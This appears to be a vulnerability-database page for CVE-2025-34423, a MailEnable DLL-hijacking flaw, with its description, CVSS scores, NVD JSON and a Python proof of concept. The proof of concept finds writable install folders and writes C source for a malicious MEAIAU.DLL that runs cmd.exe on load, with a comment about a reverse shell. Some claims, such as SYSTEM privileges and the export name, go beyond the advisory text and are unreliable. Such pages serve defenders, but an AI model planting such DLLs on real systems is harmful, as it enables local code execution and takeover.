Security Vulnerability Report
中文
CVE-2025-34423 CVSS 7.8 HIGH

CVE-2025-34423

Published: 2025-12-10 16:16:26
Last Modified: 2025-12-23 15:04:38

Description

MailEnable versions prior to 10.54 contain an unsafe DLL loading vulnerability that can lead to local arbitrary code execution. The MailEnable administrative executable attempts to load MEAIAU.DLL from its installation directory without sufficient integrity validation or a secure search order. A local attacker with write access to that directory can plant a malicious MEAIAU.DLL, which is then loaded on execution, resulting in attacker-controlled code running with the privileges of the process.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:* - VULNERABLE
MailEnable < 10.54

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-34423 PoC - MailEnable DLL Hijacking # Author: Security Researcher # This PoC demonstrates the DLL hijacking vulnerability in MailEnable import os import sys import ctypes from ctypes import wintypes # Define the malicious DLL content for Windows x64 MALICIOUS_DLL_SOURCE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create a backdoor connection or execute payload WinExec("cmd.exe /c whoami > C:\\\\Windows\\\\Temp\\\\pwned.txt", SW_HIDE); // Alternative: Spawn a reverse shell // system("powershell -enc <base64_encoded_payload>"); } return TRUE; } // Exported function that MailEnable expects __declspec(dllexport) void InitializeAuth() { // This function is called by MailEnable // Place malicious code here } ''' def create_malicious_dll(dll_path): """Generate the malicious MEAIAU.DLL file""" print(f"[*] Creating malicious DLL at: {dll_path}") # In real attack scenario, compile this to a DLL # For demonstration, we show the concept with open(dll_path.replace('.dll', '_source.c'), 'w') as f: f.write(MALICIOUS_DLL_SOURCE) print("[+] Malicious DLL source code generated") print("[*] Note: Must be compiled to DLL format for actual exploitation") return True def check_vulnerable_path(): """Check common MailEnable installation paths""" common_paths = [ r"C:\Program Files\Mail Enable\Bin", r"C:\Program Files (x86)\Mail Enable\Bin", r"C:\MailEnable\Bin" ] print("[*] Checking for vulnerable MailEnable installation paths...") for path in common_paths: if os.path.exists(path): dll_path = os.path.join(path, "MEAIAU.DLL") print(f"[+] Found MailEnable at: {path}") print(f"[+] DLL location: {dll_path}") # Check if we have write access try: test_file = os.path.join(path, ".write_test") with open(test_file, 'w') as f: f.write("test") os.remove(test_file) print(f"[+] Write access confirmed to: {path}") return path except: print(f"[-] No write access to: {path}") return None def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2025-34423 - MailEnable DLL Hijacking PoC") print("=" * 60) # Step 1: Identify vulnerable installation vulnerable_path = check_vulnerable_path() if not vulnerable_path: print("[-] No vulnerable MailEnable installation found") return False # Step 2: Create malicious DLL dll_path = os.path.join(vulnerable_path, "MEAIAU.DLL") create_malicious_dll(dll_path) print("[+] Exploitation steps:") print(" 1. Place malicious MEAIAU.DLL in MailEnable installation directory") print(" 2. Wait for administrator to launch MailEnable admin tools") print(" 3. Malicious DLL is loaded with SYSTEM privileges") print(" 4. Attacker achieves code execution as SYSTEM") return True if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34423", "sourceIdentifier": "[email protected]", "published": "2025-12-10T16:16:26.013", "lastModified": "2025-12-23T15:04:38.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MailEnable versions prior to 10.54 contain an unsafe DLL loading vulnerability that can lead to local arbitrary code execution. The MailEnable administrative executable attempts to load MEAIAU.DLL from its installation directory without sufficient integrity validation or a secure search order. A local attacker with write access to that directory can plant a malicious MEAIAU.DLL, which is then loaded on execution, resulting in attacker-controlled code running with the privileges of the process."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:*", "versionEndExcluding": "10.54", "matchCriteriaId": "E4DAB799-EDB6-48D7-A7FD-77D9910CB308"}]}]}], "references": [{"url": "https://mailenable.com/Standard-ReleaseNotes.txt", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.mailenable.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/mailenable-dll-hijacking-via-unsafe-loading-of-meaiau-dll", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}